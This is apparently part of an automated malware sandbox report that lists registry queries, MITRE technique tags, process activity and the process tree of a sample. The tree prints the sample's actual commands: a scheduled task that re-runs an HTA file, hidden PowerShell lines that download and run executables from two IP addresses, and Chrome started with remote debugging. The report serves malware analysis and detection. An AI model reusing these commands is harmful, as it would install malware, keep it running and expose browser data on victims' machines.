Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mAtJWNv.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rXOl0pp.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ILqcVeT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mAtJWNv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
6008	timeout.exe
1056	timeout.exe

Enumerates system info in registry 2 TTPs 26 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
4664	taskkill.exe
3480	taskkill.exe
1216	taskkill.exe
5140	taskkill.exe
4512	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133857110305094592"	chrome.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings	firefox.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3540	schtasks.exe
3040	schtasks.exe
3744	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3180	powershell.exe
3180	powershell.exe
1680	TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
1680	TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
4624	rapes.exe
4624	rapes.exe
1104	powershell.exe
1104	powershell.exe
1104	powershell.exe
3572	v6Oqdnc.exe
3572	v6Oqdnc.exe
3572	v6Oqdnc.exe
3572	v6Oqdnc.exe
3572	v6Oqdnc.exe
3572	v6Oqdnc.exe
4876	MCxU5Fj.exe
4876	MCxU5Fj.exe
4876	MCxU5Fj.exe
4876	MCxU5Fj.exe
1404	powershell.exe
1404	powershell.exe
1404	powershell.exe
1404	powershell.exe
1788	FvbuInU.exe
1788	FvbuInU.exe
3656	ILqcVeT.exe
3656	ILqcVeT.exe
3656	ILqcVeT.exe
3656	ILqcVeT.exe
3656	ILqcVeT.exe
3656	ILqcVeT.exe
1708	chrome.exe
1708	chrome.exe
5772	rXOl0pp.exe
5772	rXOl0pp.exe
5060	mAtJWNv.exe
5060	mAtJWNv.exe
3656	ILqcVeT.exe
3656	ILqcVeT.exe
3656	ILqcVeT.exe
3656	ILqcVeT.exe
6132	msedge.exe
6132	msedge.exe
5844	msedge.exe
5844	msedge.exe
5844	msedge.exe
5844	msedge.exe
5836	msedge.exe
5836	msedge.exe
5060	mAtJWNv.exe
5060	mAtJWNv.exe
3552	Explorer.EXE
3552	Explorer.EXE
5844	msedge.exe
5844	msedge.exe
5844	msedge.exe
5844	msedge.exe
2096	rapes.exe
2096	rapes.exe
5844	msedge.exe
5844	msedge.exe
5844	msedge.exe
5844	msedge.exe
1836	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3552	Explorer.EXE

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 23 IoCs

pid	Process
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
3660	chrome.exe
3660	chrome.exe
3660	chrome.exe
6060	msedge.exe
6060	msedge.exe
6060	msedge.exe
6060	msedge.exe
2056	msedge.exe
2056	msedge.exe
2056	msedge.exe
2056	msedge.exe
2804	msedge.exe
2804	msedge.exe
2804	msedge.exe
2804	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3180	powershell.exe
Token: SeDebugPrivilege	1104	powershell.exe
Token: SeDebugPrivilege	1404	powershell.exe
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	1708	chrome.exe
Token: SeCreatePagefilePrivilege	1708	chrome.exe
Token: SeShutdownPrivilege	1708	chrome.exe
Token: SeCreatePagefilePrivilege	1708	chrome.exe
Token: SeShutdownPrivilege	1708	chrome.exe
Token: SeCreatePagefilePrivilege	1708	chrome.exe
Token: SeShutdownPrivilege	1708	chrome.exe
Token: SeCreatePagefilePrivilege	1708	chrome.exe
Token: SeShutdownPrivilege	1708	chrome.exe
Token: SeCreatePagefilePrivilege	1708	chrome.exe
Token: SeShutdownPrivilege	1708	chrome.exe
Token: SeCreatePagefilePrivilege	1708	chrome.exe
Token: SeShutdownPrivilege	1708	chrome.exe
Token: SeCreatePagefilePrivilege	1708	chrome.exe
Token: SeLockMemoryPrivilege	5268	notepad.exe
Token: SeLockMemoryPrivilege	5268	notepad.exe
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeDebugPrivilege	1836	powershell.exe
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3552	Explorer.EXE
Token: SeCreatePagefilePrivilege	3552	Explorer.EXE
Token: SeShutdownPrivilege	3660	chrome.exe
Token: SeCreatePagefilePrivilege	3660	chrome.exe
Token: SeShutdownPrivilege	3660	chrome.exe
Token: SeCreatePagefilePrivilege	3660	chrome.exe
Token: SeShutdownPrivilege	3660	chrome.exe
Token: SeCreatePagefilePrivilege	3660	chrome.exe
Token: SeDebugPrivilege	5640	tasklist.exe
Token: SeShutdownPrivilege	3660	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3584	bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe
3584	bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe
3584	bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe
1680	TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
1708	chrome.exe
5268	notepad.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
60	086de54246.exe
3552	Explorer.EXE
3552	Explorer.EXE
60	086de54246.exe
60	086de54246.exe
3552	Explorer.EXE
3552	Explorer.EXE
3660	chrome.exe

Suspicious use of SendNotifyMessage 36 IoCs

pid	Process
3584	bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe
3584	bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe
3584	bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe
60	086de54246.exe
60	086de54246.exe
60	086de54246.exe
6120	6baf3702c9.exe
6120	6baf3702c9.exe
6120	6baf3702c9.exe
6120	6baf3702c9.exe
6120	6baf3702c9.exe
6120	6baf3702c9.exe
6120	6baf3702c9.exe
6120	6baf3702c9.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
6120	6baf3702c9.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
5252	firefox.exe
6120	6baf3702c9.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5252	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3584 wrote to memory of 2204	3584	bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe	85
PID 3584 wrote to memory of 2204	3584	bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe	85
PID 3584 wrote to memory of 2204	3584	bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe	85
PID 3584 wrote to memory of 3880	3584	bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe	86
PID 3584 wrote to memory of 3880	3584	bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe	86
PID 3584 wrote to memory of 3880	3584	bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe	86
PID 2204 wrote to memory of 3744	2204	cmd.exe	88
PID 2204 wrote to memory of 3744	2204	cmd.exe	88
PID 2204 wrote to memory of 3744	2204	cmd.exe	88
PID 3880 wrote to memory of 3180	3880	mshta.exe	91
PID 3880 wrote to memory of 3180	3880	mshta.exe	91
PID 3880 wrote to memory of 3180	3880	mshta.exe	91
PID 3180 wrote to memory of 1680	3180	powershell.exe	97
PID 3180 wrote to memory of 1680	3180	powershell.exe	97
PID 3180 wrote to memory of 1680	3180	powershell.exe	97
PID 1680 wrote to memory of 4624	1680	TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE	98
PID 1680 wrote to memory of 4624	1680	TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE	98
PID 1680 wrote to memory of 4624	1680	TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE	98
PID 4624 wrote to memory of 4788	4624	rapes.exe	102
PID 4624 wrote to memory of 4788	4624	rapes.exe	102
PID 4624 wrote to memory of 4788	4624	rapes.exe	102
PID 4624 wrote to memory of 4912	4624	rapes.exe	103
PID 4624 wrote to memory of 4912	4624	rapes.exe	103
PID 4912 wrote to memory of 864	4912	PcAIvJ0.exe	104
PID 4912 wrote to memory of 864	4912	PcAIvJ0.exe	104
PID 864 wrote to memory of 1104	864	cmd.exe	106
PID 864 wrote to memory of 1104	864	cmd.exe	106
PID 4624 wrote to memory of 3572	4624	rapes.exe	107
PID 4624 wrote to memory of 3572	4624	rapes.exe	107
PID 4624 wrote to memory of 3572	4624	rapes.exe	107
PID 4624 wrote to memory of 3780	4624	rapes.exe	108
PID 4624 wrote to memory of 3780	4624	rapes.exe	108
PID 4624 wrote to memory of 3780	4624	rapes.exe	108
PID 3780 wrote to memory of 5044	3780	MCxU5Fj.exe	109
PID 3780 wrote to memory of 5044	3780	MCxU5Fj.exe	109
PID 3780 wrote to memory of 5044	3780	MCxU5Fj.exe	109
PID 3780 wrote to memory of 4876	3780	MCxU5Fj.exe	110
PID 3780 wrote to memory of 4876	3780	MCxU5Fj.exe	110
PID 3780 wrote to memory of 4876	3780	MCxU5Fj.exe	110
PID 3780 wrote to memory of 4876	3780	MCxU5Fj.exe	110
PID 3780 wrote to memory of 4876	3780	MCxU5Fj.exe	110
PID 3780 wrote to memory of 4876	3780	MCxU5Fj.exe	110
PID 3780 wrote to memory of 4876	3780	MCxU5Fj.exe	110
PID 3780 wrote to memory of 4876	3780	MCxU5Fj.exe	110
PID 3780 wrote to memory of 4876	3780	MCxU5Fj.exe	110
PID 4624 wrote to memory of 5024	4624	rapes.exe	115
PID 4624 wrote to memory of 5024	4624	rapes.exe	115
PID 4624 wrote to memory of 5024	4624	rapes.exe	115
PID 5024 wrote to memory of 5060	5024	mAtJWNv.exe	116
PID 5024 wrote to memory of 5060	5024	mAtJWNv.exe	116
PID 5024 wrote to memory of 5060	5024	mAtJWNv.exe	116
PID 5024 wrote to memory of 5060	5024	mAtJWNv.exe	116
PID 5024 wrote to memory of 5060	5024	mAtJWNv.exe	116
PID 5024 wrote to memory of 5060	5024	mAtJWNv.exe	116
PID 5024 wrote to memory of 5060	5024	mAtJWNv.exe	116
PID 5024 wrote to memory of 5060	5024	mAtJWNv.exe	116
PID 5024 wrote to memory of 5060	5024	mAtJWNv.exe	116
PID 5024 wrote to memory of 5060	5024	mAtJWNv.exe	116
PID 5024 wrote to memory of 5060	5024	mAtJWNv.exe	116
PID 5024 wrote to memory of 5060	5024	mAtJWNv.exe	116
PID 1104 wrote to memory of 1404	1104	powershell.exe	119
PID 1104 wrote to memory of 1404	1104	powershell.exe	119
PID 1404 wrote to memory of 4344	1404	powershell.exe	122
PID 1404 wrote to memory of 4344	1404	powershell.exe	122

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3552
- C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe
  "C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3584
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn yC1L6maeOoq /tr "mshta C:\Users\Admin\AppData\Local\Temp\JMz1DFpdy.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2204
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn yC1L6maeOoq /tr "mshta C:\Users\Admin\AppData\Local\Temp\JMz1DFpdy.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3744
- - C:\Windows\SysWOW64\mshta.exe
    mshta C:\Users\Admin\AppData\Local\Temp\JMz1DFpdy.hta
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3880
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3180
    - - C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
        
        "C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:1680
      - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4624
        
        C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe"
        7⤵
        Drops startup file
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4788
        
        C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4912
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F731.tmp\F732.tmp\F733.bat C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:864
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'http://45.144.212.77:16000/setup' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.ps1'; Start-Process 'powershell.exe' -ArgumentList '-ExecutionPolicy Bypass -NoProfile -File \"C:\Users\Admin\AppData\Local\Temp\installer.ps1\"' -WindowStyle Hidden}"
        9⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\installer.ps1"
        10⤵
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1404
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\okp0pabk\okp0pabk.cmdline"
        11⤵
        
        PID:4344
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4198.tmp" "c:\Users\Admin\AppData\Local\Temp\okp0pabk\CSC1DD6C90F8C8346CD93C5DBF57293994.TMP"
        12⤵
        
        PID:4392
        
        C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3572
        
        C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3780
        
        C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe"
        8⤵
        Executes dropped EXE
        
        PID:5044
        
        C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4876
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3780 -s 796
        8⤵
        Program crash
        
        PID:2004
        
        C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5024
        
        C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe"
        8⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:5060
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        9⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:3660
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe7b1dcc40,0x7ffe7b1dcc4c,0x7ffe7b1dcc58
        10⤵
        
        PID:652
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
